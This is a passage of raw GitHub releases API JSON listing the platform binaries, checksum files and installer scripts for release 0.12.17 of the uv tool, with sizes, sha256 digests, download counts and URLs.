gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252947","id":573252947,"node_id":"RA_kwDOKbIFZc4iKyVT","name":"uv-aarch64-unknown-linux-musl.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":21082371,"digest":"sha256:a6096da273d548cb9f277d237a01ac7344a39ef0f455c0e148e4dc9737c1596b","download_count":11607,"created_at":"2026-09-18T18:59:17Z","updated_at":"2026-09-18T18:59:18Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-aarch64-unknown-linux-musl.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252953","id":573252953,"node_id":"RA_kwDOKbIFZc4iKyVZ","name":"uv-aarch64-unknown-linux-musl.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":103,"digest":"sha256:db2ff7a36d6659684ca1868c9be5abc9513be3a80deb470015ee02c71293b302","download_count":469,"created_at":"2026-09-18T18:59:18Z","updated_at":"2026-09-18T18:59:18Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-aarch64-unknown-linux-musl.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252951","id":573252951,"node_id":"RA_kwDOKbIFZc4iKyVX","name":"uv-arm-unknown-linux-musleabihf.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":21734997,"digest":"sha256:16a98a65ef8545f7c32cf717683aac44248369ffaa41c43e665341489359c654","download_count":200,"created_at":"2026-09-18T18:59:18Z","updated_at":"2026-09-18T18:59:19Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-arm-unknown-linux-musleabihf.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252958","id":573252958,"node_id":"RA_kwDOKbIFZc4iKyVe","name":"uv-arm-unknown-linux-musleabihf.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":105,"digest":"sha256:b59ad7b9852e67d4c2ca6e988ef47b48b66ab8afaa914eeae479a193eaa7a87a","download_count":332,"created_at":"2026-09-18T18:59:18Z","updated_at":"2026-09-18T18:59:18Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-arm-unknown-linux-musleabihf.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252962","id":573252962,"node_id":"RA_kwDOKbIFZc4iKyVi","name":"uv-armv7-unknown-linux-gnueabihf.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":21334880,"digest":"sha256:796e101976e18a0f92d90b6f3efd289f77fbc5afd1aaa6fdedd3c84c209eabab","download_count":252,"created_at":"2026-09-18T18:59:18Z","updated_at":"2026-09-18T18:59:19Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-armv7-unknown-linux-gnueabihf.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252967","id":573252967,"node_id":"RA_kwDOKbIFZc4iKyVn","name":"uv-armv7-unknown-linux-gnueabihf.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":106,"digest":"sha256:5d55f5e1030d4020a578789ec31c2e8323a098536da7d9cfcd5fd82ea2088b3a","download_count":335,"created_at":"2026-09-18T18:59:18Z","updated_at":"2026-09-18T18:59:18Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-armv7-unknown-linux-gnueabihf.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252969","id":573252969,"node_id":"RA_kwDOKbIFZc4iKyVp","name":"uv-armv7-unknown-linux-musleabihf.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":21260897,"digest":"sha256:421c5f9c53d49088e705e7a64fea147082a2191178ea1d8c51d9ad758ca899f6","download_count":201,"created_at":"2026-09-18T18:59:18Z","updated_at":"2026-09-18T18:59:19Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-armv7-unknown-linux-musleabihf.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252985","id":573252985,"node_id":"RA_kwDOKbIFZc4iKyV5","name":"uv-armv7-unknown-linux-musleabihf.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":107,"digest":"sha256:0df1a4c04e3441289ffe497eae45330121624bdc0c07b7b6847dafd6876a132f","download_count":326,"created_at":"2026-09-18T18:59:19Z","updated_at":"2026-09-18T18:59:19Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-armv7-unknown-linux-musleabihf.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252987","id":573252987,"node_id":"RA_kwDOKbIFZc4iKyV7","name":"uv-i686-pc-windows-msvc.zip","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/zip","state":"uploaded","size":19763839,"digest":"sha256:1d3653cb6eafd1e675e979d7cd8eeac1456202f8927a2216419993077a4c473f","download_count":280,"created_at":"2026-09-18T18:59:19Z","updated_at":"2026-09-18T18:59:20Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-i686-pc-windows-msvc.zip"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252993","id":573252993,"node_id":"RA_kwDOKbIFZc4iKyWB","name":"uv-i686-pc-windows-msvc.zip.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":94,"digest":"sha256:d7009f0ccf7e3a5614219823a095c3f1948781287176330a68b392cf1005142d","download_count":380,"created_at":"2026-09-18T18:59:19Z","updated_at":"2026-09-18T18:59:19Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-i686-pc-windows-msvc.zip.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252997","id":573252997,"node_id":"RA_kwDOKbIFZc4iKyWF","name":"uv-i686-unknown-linux-gnu.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":22150466,"digest":"sha256:3faa79a70e2a1aa6eb3cd78eba02263f3e4b17b6be584a01429968f92ff74966","download_count":220,"created_at":"2026-09-18T18:59:19Z","updated_at":"2026-09-18T18:59:20Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-i686-unknown-linux-gnu.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253004","id":573253004,"node_id":"RA_kwDOKbIFZc4iKyWM","name":"uv-i686-unknown-linux-gnu.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":99,"digest":"sha256:522b82061e4d8fa4ced88f725e964611be8ffcbfc6134c8497d20acb422d1415","download_count":332,"created_at":"2026-09-18T18:59:19Z","updated_at":"2026-09-18T18:59:20Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-i686-unknown-linux-gnu.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253008","id":573253008,"node_id":"RA_kwDOKbIFZc4iKyWQ","name":"uv-i686-unknown-linux-musl.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":21281290,"digest":"sha256:fc05220cfa1c6585e0e209877c228393b25a96e17cd43028b06566ac894cd078","download_count":221,"created_at":"2026-09-18T18:59:19Z","updated_at":"2026-09-18T18:59:20Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-i686-unknown-linux-musl.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253011","id":573253011,"node_id":"RA_kwDOKbIFZc4iKyWT","name":"uv-i686-unknown-linux-musl.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":100,"digest":"sha256:338ef947ca0524836819e549bd8bc5f3aeabc7adc03d936030a9915ac1cfd087","download_count":329,"created_at":"2026-09-18T18:59:20Z","updated_at":"2026-09-18T18:59:20Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-i686-unknown-linux-musl.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252895","id":573252895,"node_id":"RA_kwDOKbIFZc4iKyUf","name":"uv-installer.ps1","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-powershell","state":"uploaded","size":23293,"digest":"sha256:e08cfe98a992b95c04b5c8e8a3e61a5cf4565ef844c78770659a98bb8a4b1b31","download_count":3693,"created_at":"2026-09-18T18:59:16Z","updated_at":"2026-09-18T18:59:16Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-installer.ps1"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252897","id":573252897,"node_id":"RA_kwDOKbIFZc4iKyUh","name":"uv-installer.sh","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-shellscript","state":"uploaded","size":71308,"digest":"sha256:37b82230b28617c6c24fa52364fa28aa37f2aa40c114809a623f6b064a9730e5","download_count":42720,"created_at":"2026-09-18T18:59:16Z","updated_at":"2026-09-18T18:59:16Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-installer.sh"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253012","id":573253012,"node_id":"RA_kwDOKbIFZc4iKyWU","name":"uv-powerpc64le-unknown-linux-gnu.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":23525831,"digest":"sha256:eb6dbedaaa622af32cba2388e0d2d47e34c8724d4214a129d614b96f071d8e53","download_count":304,"created_at":"2026-09-18T18:59:20Z","updated_at":"2026-09-18T18:59:21Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-powerpc64le-unknown-linux-gnu.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253015","id":573253015,"node_id":"RA_kwDOKbIFZc4iKyWX","name":"uv-powerpc64le-unknown-linux-gnu.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":106,"digest":"sha256:1bd260cbb200a10e3768e2475f6f2b80ac82be2633cb675d26b1d252a590da68","download_count":330,"created_at":"2026-09-18T18:59:20Z","updated_at":"2026-09-18T18:59:20Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-powerpc64le-unknown-linux-gnu.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253025","id":573253025,"node_id":"RA_kwDOKbIFZc4iKyWh","name":"uv-riscv64gc-unknown-linux-gnu.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api